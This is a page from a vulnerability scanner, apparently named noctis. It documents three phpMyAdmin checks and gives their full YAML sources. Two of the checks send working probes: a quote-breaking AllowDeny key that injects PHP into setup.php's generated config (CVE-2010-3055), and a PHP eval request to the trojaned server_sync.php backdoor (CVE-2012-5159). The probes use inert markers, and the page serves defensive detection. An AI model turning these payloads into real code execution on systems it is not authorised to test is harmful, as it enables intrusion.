phpMyAdmin — 3 vulnerability checks

noctis ships 3 vulnerability checks for phpMyAdmin, covering 6 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

phpMyAdmin 2.11.x setup.php configuration file PHP code injection

CVECVE-2010-3055
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionset_var, tcp_connect, script, http_request, match · highest QoD 97
Feedtests/vulnerabilities/phpmyadmin/CVE-2010-3055.yaml

Tests the phpMyAdmin 2.11 setup script (scripts/setup.php, releases before 2.11.10.1) for the PHP code injection into the generated configuration file (CVE-2010-3055): the script writes the keys of the server's AllowDeny array into config.inc.php without escaping them. The test opens a setup session (session cookie and token from scripts/setup.php), adds a server with a random host name whose AllowDeny array has a key containing quotes around a random marker, then downloads the generated configuration. A line in which the quotes closed the key's string literal, so that the marker is concatenated as PHP code, confirms the injection; a fixed release replaces those characters with underscores. No configuration is saved on the server: it is only downloaded and the test clears its own setup session afterwards. The web root, /phpmyadmin, /phpMyAdmin and /pma are tried.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET {{base}}/scripts/setup.php HTTP/1.0
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request POST {{base}}/scripts/setup.php with a crafted body
  4. HTTP(S) request POST {{base}}/scripts/setup.php with a crafted body
  5. Parses / computes the next value with a Rhai script
  6. HTTP(S) request POST {{base}}/scripts/setup.php with a crafted body
  7. Checks v.proof for ^injected$ → finding QoD 97: phpMyAdmin setup.php configuration file PHP code injection (CVE-2010-3055)

References:

Feed source — tests/vulnerabilities/phpmyadmin/CVE-2010-3055.yaml
# phpMyAdmin 2.11.x < 2.11.10.1 — scripts/setup.php configuration file PHP code injection
# (CVE-2010-3055)
#
# scripts/setup.php (phpMyAdmin 2.11 setup script) builds config.inc.php from the server
# definitions stored in the session. get_cfg_val() writes every nested array key into the
# generated PHP as "$name['$k']" without escaping it, and addserver_real stores the POSTed
# AllowDeny array as-is (grab_values "allow-deny": $res['AllowDeny']['order'] =
# $_POST['AllowDeny'] when AllowDeny_order is set). A key holding a quote therefore breaks
# out of the string literal and lands as PHP code in the configuration file the script
# downloads, displays or saves into config/config.inc.php. 2.11.10.1 added
# `$k = preg_replace('/[^A-Za-z0-9_]/', '_', $k);` in get_cfg_val(). Checked against the
# upstream git tags RELEASE_2_11_10 and RELEASE_2_11_10_1 (github.com/phpmyadmin/phpmyadmin,
# scripts/setup.php — the only change between the two).
#
# Detection, per candidate install directory ("", /phpmyadmin, /phpMyAdmin, /pma):
#   1. GET scripts/setup.php over a raw socket: the setup page (<title>phpMyAdmin 2.x
#      setup</title>), every Set-Cookie (session) and the hidden token field. The token is
#      required — without it common.inc.php drops the POSTed action.
#   2. POST action=addserver_real with a random host and the key
#      AllowDeny[a][b]['.'NOCTIS<rand>'.'] → "New server added" and the random host.
#   3. POST action=download → the generated config.inc.php. The vulnerable release prints
#      $cfg['Servers'][$i]['AllowDeny']['order']['a']['b'][''.'NOCTIS<rand>'.''] = '1';
#      i.e. our quotes closed the key literal and the concatenation is PHP code (QoD 97);
#      2.11.10.1 prints ['___NOCTIS<rand>___'].
#   4. POST action=clear to empty the session configuration again.
# No configuration is saved on the target: the injected expression is a plain string
# concatenation (valid, inert PHP), the configuration is only downloaded (never saved to
# config/), and it lives in the scanner's own session, which is cleared afterwards. (Like
# any page view, setup.php still creates its PHP session file and, when config/ is
# writable, touches an empty config/config.inc.php — its own fopen(..., 'a') check.)
#
# Better than the source check: it stopped at "Can not load or save configuration" (no
# writable config/ directory) and reported without trying, although download needs no
# config directory — this feed proves the injection there too. It also reads every
# Set-Cookie of the setup page (not only the first ones in header order), tries the usual
# install directories, uses an inert marker instead of phpinfo() and leaves no server
# behind in the session.
#
# Not detected: PHP >= 5.3 with magic_quotes_gpc on escapes the quote in the key and
# phpMyAdmin does not strip it there, so the key stays a string literal (not exploitable
# that way either). On PHP < 5.3 phpMyAdmin strips the slashes again (keys included) and
# the injection is detected.
#
# CVSS: NVD v2 7.5 (no v3.x score in NVD for CVE-2010-3055); the backlog's 7.5 is kept.
#
# Backlog source: OpenVAS/Greenbone NVT 2010/gb_phpmyadmin_42591.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100760, GPL-2.0-only).
uid: 8404a6e1-82a0-4404-bb2d-c29f3652bb88
name: "phpMyAdmin 2.11.x setup.php configuration file PHP code injection (CVE-2010-3055)"
description: |
  Tests the phpMyAdmin 2.11 setup script (scripts/setup.php, releases before 2.11.10.1)
  for the PHP code injection into the generated configuration file (CVE-2010-3055): the
  script writes the keys of the server's AllowDeny array into config.inc.php without
  escaping them. The test opens a setup session (session cookie and token from
  scripts/setup.php), adds a server with a random host name whose AllowDeny array has a
  key containing quotes around a random marker, then downloads the generated
  configuration. A line in which the quotes closed the key's string literal, so that the
  marker is concatenated as PHP code, confirms the injection; a fixed release replaces
  those characters with underscores. No configuration is saved on the server: it is
  only downloaded and the test clears its own setup session afterwards. The web root,
  /phpmyadmin, /phpMyAdmin and /pma are tried.
cves: [CVE-2010-3055]
cvss: 7.5
severity: high
confidence_base: 0.30
category: rce
tags: [phpmyadmin, php, code-injection, setup, intrusive, web-abuse]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-3055"
  - "https://www.phpmyadmin.net/security/PMASA-2010-4/"
  - "https://github.com/phpmyadmin/phpmyadmin/compare/RELEASE_2_11_10...RELEASE_2_11_10_1"
  - "https://www.securityfocus.com/bid/42591"

steps:
  # ── Loop group: every step below runs once per candidate install directory ──
  # Pre-initialise every stored result a script reads (an undefined variable aborts the
  # whole test).
  - id: init-page
    action: set_var
    var_name: page
    var_value: {connected: false, banner: null}
    loop:
      over: ["", "/phpmyadmin", "/phpMyAdmin", "/pma"]
      var: base

  - id: init-add
    action: set_var
    var_name: add
    var_value: {status: 0, body: null, headers: {}}

  - id: init-dl
    action: set_var
    var_name: dl
    var_value: {status: 0, body: null, headers: {}}

  # 1. Setup page — raw request so that every Set-Cookie header is seen (http_request
  #    keeps only the last one).
  - id: setup-page
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{base}}/scripts/setup.php HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\n\r\n"
    store_as: page

  - id: session
    action: script
    code: |
      let out = #{ ok: false, cookie: "", token: "", version: "", nodir: false,
                   marker: "", host: "", add_body: "", dl_body: "", clear_body: "" };
      let raw = page.banner;
      if type_of(raw) == "string" && ereg("^HTTP/1\\.[01] 200[ \\r\\n]", raw) {
        let cut = stridx(raw, "\r\n\r\n");
        if cut < 0 { cut = stridx(raw, "\n\n"); }
        let head = if cut >= 0 { substr(raw, 0, cut) } else { raw };
        let body = if cut >= 0 { substr(raw, cut, strlen(raw) - 1) } else { "" };
        let t = eregmatch("<title>phpMyAdmin ([0-9][0-9A-Za-z.-]*) setup</title>", body);
        let tok = eregmatch("<input type=\"hidden\" name=\"token\" value=\"([0-9A-Za-z]+)\"", body);
        let jar = #{};
        for line in split(head, "\n") {
          let c = eregmatch("^set-cookie:[ \\t]*([A-Za-z0-9_.-]+)=([^;\\r]*)", line, true);
          if c.len() < 3 || c[2] == "" || c[2] == "deleted" { continue; }
          jar[c[1]] = c[2];
        }
        for k in jar.keys() {
          if out.cookie != "" { out.cookie += "; "; }
          out.cookie += k + "=" + jar[k];
        }
        if t.len() > 1 && tok.len() > 1 && out.cookie != "" {
          out.ok = true;
          out.version = t[1];
          out.token = tok[1];
          out.nodir = ereg("Can not load or save configuration", body);
          out.marker = "NOCTIS" + rand_hex(6);
          out.host = "noctis-" + rand_hex(4) + ".invalid";
          // AllowDeny[a][b]['.'<marker>'.']=1, urlencoded
          out.add_body = "token=" + out.token + "&action=addserver_real&host=" + out.host
            + "&submit_save=Add&AllowDeny_order=1&AllowDeny%5Ba%5D%5Bb%5D%5B%27.%27"
            + out.marker + "%27.%27%5D=1";
          out.dl_body = "token=" + out.token + "&action=download";
          out.clear_body = "token=" + out.token + "&action=clear";
        }
      }
      out
    store_as: s

  # 2. Add a server whose AllowDeny array carries the quoted key.
  - id: addserver
    action: http_request
    method: POST
    path: "{{base}}/scripts/setup.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    condition: "s.ok == true"
    headers:
      Cookie: "{{s.cookie}}"
      Content-Type: "application/x-www-form-urlencoded"
    body: "{{s.add_body}}"
    store_as: add

  # 3. Download the generated configuration (nothing is saved on the server).
  - id: download
    action: http_request
    method: POST
    path: "{{base}}/scripts/setup.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    condition: "s.ok == true && add.status == 200 && type_of(add.body) == \"string\" && add.body.contains(\"New server added\") && add.body.contains(s.host)"
    headers:
      Cookie: "{{s.cookie}}"
      Content-Type: "application/x-www-form-urlencoded"
    body: "{{s.dl_body}}"
    store_as: dl

  - id: verdict
    action: script
    code: |
      let hit = false;
      let line = "";
      let b = dl.body;
      if s.ok == true && dl.status == 200 && type_of(b) == "string" && b.contains(s.host) {
        let needle = "['AllowDeny']['order']['a']['b'][''.'" + s.marker + "'.''] = '1';";
        let at = stridx(b, needle);
        if at >= 0 {
          hit = true;
          let m = eregmatch("\\$cfg\\['Servers'\\]\\[\\$i\\]\\['AllowDeny'\\]\\['order'\\]\\['a'\\]\\['b'\\]\\[''\\.'" + s.marker + "'\\.''\\] = '1';", b);
          line = if m.len() > 0 { m[0] } else { needle };
        }
      }
      #{ hit: hit, proof: if hit { "injected" } else { "" }, line: line,
         dir: if s.nodir == true { " (the page reports no writable config/ directory, which download does not need)" } else { "" } }
    store_as: v

  # 4. Empty the scanner's setup session again.
  - id: clear
    action: http_request
    method: POST
    path: "{{base}}/scripts/setup.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    condition: "s.ok == true && add.status == 200"
    headers:
      Cookie: "{{s.cookie}}"
      Content-Type: "application/x-www-form-urlencoded"
    body: "{{s.clear_body}}"
    store_as: clr

  - id: injection-confirmed
    action: match
    source: v.proof
    pattern: "^injected$"
    condition: "v.hit == true"
    on_match:
      stop: true
      finding:
        title: "phpMyAdmin setup.php configuration file PHP code injection (CVE-2010-3055)"
        confidence_delta: 0.65
        qod: 97
        evidence: "phpMyAdmin {{s.version}} setup script at {{base}}/scripts/setup.php{{v.dir}}: after adding server \"{{s.host}}\" with the POST key AllowDeny[a][b]['.'{{s.marker}}'.'], the downloaded config.inc.php contains: {{v.line}} — the quotes closed the key's string literal and the marker is concatenated as PHP code. The configuration was only downloaded (not saved) and the setup session was cleared afterwards."
        remediation: "Upgrade phpMyAdmin to 2.11.10.1 or later (or 3.x), and remove the setup script (scripts/setup.php) and the config/ directory once the installation is configured, or restrict access to them."

phpMyAdmin 3.5.2.2 trojaned server_sync.php PHP code execution

CVECVE-2012-5159
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/phpmyadmin/CVE-2012-5159.yaml

Sends a POST request to server_sync.php (web root, /phpmyadmin, /phpMyAdmin, /pma) whose c parameter holds the PHP statement echo md5('<random string>');. The copy of phpMyAdmin 3.5.2.2 that a download mirror served in 2012 contains a trojaned server_sync.php that evaluates c as PHP code. The finding is raised when the reply contains the MD5 hash of the per-run random string, which only a server that ran the statement can produce. The test runs no operating-system command and changes nothing on the target.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request POST {{dir}}/server_sync.php with a crafted body
  3. Parses / computes the next value with a Rhai script
  4. Checks sresp.body for [0-9a-f]{32} → finding QoD 97: POST …/server_sync.php with c=echo md5('…'); returned … = md5("…"): the page evaluated the submitted PHP code (HTTP …).

References:

Feed source — tests/vulnerabilities/phpmyadmin/CVE-2012-5159.yaml
# phpMyAdmin 3.5.2.2 trojaned download — server_sync.php PHP eval backdoor
# (CVE-2012-5159, PMASA-2012-5)
#
# Port credit: OpenVAS/Greenbone NASL 2012/gb_phpmyadmin_55672.nasl
# (OID 1.3.6.1.4.1.25623.1.0.103577, GPL-2.0-only). The NASL GETs
# <dir>/server_sync.php (stops on 404), then POSTs `c=phpinfo();` with
# Content-Type: application/x-www-form-urlencoded and matches "<title>phpinfo()".
#
# Better than the NASL: it runs echo md5('<random>'); instead of phpinfo(), and
# looks for the hash of a per-run random string. The hash is not in the request, so a
# page that reflects the body cannot match, and the check still works where
# phpinfo() is disabled or the reply is not a phpinfo page. Several install
# directories are tried (the NASL uses the detected one).
# CVSS: NVD publishes only v2 (7.5); the v2 score is used.
uid: 2465e625-0a89-421d-8668-29902fa57694
name: "phpMyAdmin 3.5.2.2 trojaned server_sync.php PHP code execution"
description: >-
  Sends a POST request to server_sync.php (web root, /phpmyadmin, /phpMyAdmin,
  /pma) whose c parameter holds the PHP statement echo md5('<random string>');.
  The copy of phpMyAdmin 3.5.2.2 that a download mirror served in 2012 contains a
  trojaned server_sync.php that evaluates c as PHP code. The finding is raised
  when the reply contains the MD5 hash of the per-run random string, which only a
  server that ran the statement can produce. The test runs no operating-system
  command and changes nothing on the target.
category: rce
cves: [CVE-2012-5159]
cvss: 7.5
severity: high
confidence_base: 0.30
tags: [phpmyadmin, php, backdoor, trojan, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-5159"
  - "https://www.phpmyadmin.net/security/PMASA-2012-5/"
  - "OpenVAS/Greenbone NASL 2012/gb_phpmyadmin_55672.nasl (GPL-2.0-only)"

steps:
  - id: mint
    action: script
    store_as: m
    code: |
      let k = "noctis" + rand_hex(8);
      #{ arg: k, hash: md5(k) }

  - id: init-sync
    action: set_var
    var_name: sresp
    var_value: {status: 0, body: ""}
    loop:
      over: ["", "/phpmyadmin", "/phpMyAdmin", "/pma"]
      var: dir

  - id: sync-call
    action: http_request
    method: POST
    path: "{{dir}}/server_sync.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "c=echo md5('{{m.arg}}');"
    store_as: sresp

  - id: sync-verify
    action: script
    store_as: hit
    code: |
      type_of(sresp.body) == "string" && sresp.status == 200 && stridx(sresp.body, m.hash) >= 0

  - id: backdoor-match
    action: match
    source: sresp.body
    pattern: "[0-9a-f]{32}"
    condition: "hit == true"
    on_match:
      stop: true
      finding:
        confidence_delta: 0.65
        qod: 97
        evidence: "POST {{dir}}/server_sync.php with c=echo md5('{{m.arg}}'); returned {{m.hash}} = md5(\"{{m.arg}}\"): the page evaluated the submitted PHP code (HTTP {{sresp.status}})."
        remediation: "Replace the trojaned phpMyAdmin 3.5.2.2 download with a clean release from phpmyadmin.net, verify its checksum, and treat the server as compromised (rotate credentials, review the host)."

phpMyAdmin 3.x < 3.3.10.2 / 3.4.x < 3.4.3.1 multiple vulnerabilities (PMASA-2011-5 to 8)

CVECVE-2011-2505, CVE-2011-2506, CVE-2011-2507, CVE-2011-2508
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionset_var, http_request, script, match · highest QoD 70
Feedtests/vulnerabilities/phpmyadmin/CVE-2011-2505.yaml

Reads the release number of phpMyAdmin from the static files every installation ships, Documentation.html (page title) and README, in the web root, /phpmyadmin, /phpMyAdmin and /pma. A release in the 3.x line before 3.3.10.2, or in 3.4.x before 3.4.3.1, is affected by the setup script PHP code injection, the synchronize code injection, the Swekey session overwrite and the table display directory traversal fixed in those releases. The finding is raised when the number read is inside that range. The test sends only plain GET requests and changes nothing on the target. Because it relies on the version string, a distribution package with the fix backported is reported too.

How noctis detects it

  1. HTTP(S) request GET {{u}}
  2. Parses / computes the next value with a Rhai script
  3. Checks x.version for ^[0-9]+\.[0-9]+\.[0-9]+ → finding QoD 70: GET … reports phpMyAdmin …, before the fixed releases 3.3.10.2 (3.3 and older) and 3.4.3.1 (3.4.x).

References:

Feed source — tests/vulnerabilities/phpmyadmin/CVE-2011-2505.yaml
# phpMyAdmin 3.x < 3.3.10.2 and 3.4.x < 3.4.3.1 — PMASA-2011-5..8
# (CVE-2011-2505 Swekey session variable overwrite, CVE-2011-2506 setup
# ConfigGenerator PHP code injection, CVE-2011-2507 server synchronize code
# injection, CVE-2011-2508 display_tbl.lib.php directory traversal)
#
# Port credit: OpenVAS/Greenbone NASL 2011/gb_phpmyadmin_48563.nasl
# (OID 1.3.6.1.4.1.25623.1.0.103188, GPL-2.0-only). The NASL poisons the setup
# session through /?_SESSION[ConfigFile][Servers][*/print "..."][port]=0, POSTs
# /setup/config.php (submit_save) so that setup saves config/config.inc.php, then
# reads that file back. That writes a file holding injected PHP on the target, so this
# feed does not repeat it.
#
# Why version only (QoD 70): every probe of the four flaws either writes the
# configuration file (2506), needs a login (2507, 2508) or a Swekey-enabled install
# (2505). The release is read from the two static files each tarball ships,
# Documentation.html (<title>phpMyAdmin X - Documentation</title>) and README
# ("Version X"); the layouts were checked against the upstream tags RELEASE_3_3_10_1
# and RELEASE_3_4_3. The affected range is NVD's: 3.x before 3.3.10.2 and 3.4.x before
# 3.4.3.1 (a 3.5+ release is not affected). Distribution packages that backport the fix
# keep the old version string and are reported.
#
# CVSS: NVD v2 only — 7.5 for CVE-2011-2506, the most severe of the four; kept.
uid: 50c1323c-3966-439e-a600-2ed359b0689b
name: "phpMyAdmin 3.x < 3.3.10.2 / 3.4.x < 3.4.3.1 multiple vulnerabilities (PMASA-2011-5 to 8)"
description: >-
  Reads the release number of phpMyAdmin from the static files every installation
  ships, Documentation.html (page title) and README, in the web root, /phpmyadmin,
  /phpMyAdmin and /pma. A release in the 3.x line before 3.3.10.2, or in 3.4.x before
  3.4.3.1, is affected by the setup script PHP code injection, the synchronize code
  injection, the Swekey session overwrite and the table display directory traversal
  fixed in those releases. The finding is raised when the number read is inside that
  range. The test sends only plain GET requests and changes nothing on the target.
  Because it relies on the version string, a distribution package with the fix
  backported is reported too.
category: rce
cves: [CVE-2011-2505, CVE-2011-2506, CVE-2011-2507, CVE-2011-2508]
cvss: 7.5
severity: high
confidence_base: 0.30
tags: [phpmyadmin, php, code-injection, version]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2011-2505"
  - "https://nvd.nist.gov/vuln/detail/CVE-2011-2506"
  - "https://nvd.nist.gov/vuln/detail/CVE-2011-2507"
  - "https://nvd.nist.gov/vuln/detail/CVE-2011-2508"
  - "https://www.phpmyadmin.net/security/PMASA-2011-5/"
  - "https://www.phpmyadmin.net/security/PMASA-2011-6/"
  - "https://www.phpmyadmin.net/security/PMASA-2011-7/"
  - "https://www.phpmyadmin.net/security/PMASA-2011-8/"
  - "OpenVAS/Greenbone NASL 2011/gb_phpmyadmin_48563.nasl (GPL-2.0-only)"

steps:
  # Loop group: the steps below run once per candidate file. A stored result a script
  # reads is initialised first (an undefined variable aborts the whole test).
  - id: init-page
    action: set_var
    var_name: page
    var_value: {status: 0, body: ""}
    loop:
      over:
        - "/Documentation.html"
        - "/README"
        - "/phpmyadmin/Documentation.html"
        - "/phpmyadmin/README"
        - "/phpMyAdmin/Documentation.html"
        - "/phpMyAdmin/README"
        - "/pma/Documentation.html"
        - "/pma/README"
      var: u

  - id: fetch
    action: http_request
    method: GET
    path: "{{u}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: page

  - id: parse
    action: script
    store_as: x
    code: |
      let out = #{ ok: false, vuln: false, version: "" };
      if page.status == 200 && type_of(page.body) == "string" {
        let b = page.body;
        let m = eregmatch("<title>phpMyAdmin ([0-9]+)\\.([0-9]+)\\.([0-9]+)(?:\\.([0-9]+))?[0-9A-Za-z-]* - Documentation</title>", b);
        if m.len() < 4 {
          m = eregmatch("phpMyAdmin - Readme\\r?\\n=+[\\s\\S]{0,300}?Version ([0-9]+)\\.([0-9]+)\\.([0-9]+)(?:\\.([0-9]+))?", b);
        }
        if m.len() >= 4 {
          let a = int(m[1]);
          let bb = int(m[2]);
          let c = int(m[3]);
          let d = if m.len() > 4 { int(m[4]) } else { 0 };
          out.ok = true;
          out.version = m[1] + "." + m[2] + "." + m[3] + (if m.len() > 4 && m[4] != "" { "." + m[4] } else { "" });
          out.vuln = a == 3 && (bb < 3
            || (bb == 3 && (c < 10 || (c == 10 && d < 2)))
            || (bb == 4 && (c < 3 || (c == 3 && d < 1))));
        }
      }
      out

  - id: version-match
    action: match
    source: x.version
    pattern: "^[0-9]+\\.[0-9]+\\.[0-9]+"
    condition: "x.ok == true && x.vuln == true"
    on_match:
      stop: true
      finding:
        confidence_delta: 0.40
        qod: 70
        evidence: "GET {{u}} reports phpMyAdmin {{x.version}}, before the fixed releases 3.3.10.2 (3.3 and older) and 3.4.3.1 (3.4.x)."
        remediation: "Upgrade phpMyAdmin to 3.4.3.1 or later (any current release), or apply the PMASA-2011-5 to 8 patches; delete the setup directory once configured."

View these feeds on GitHub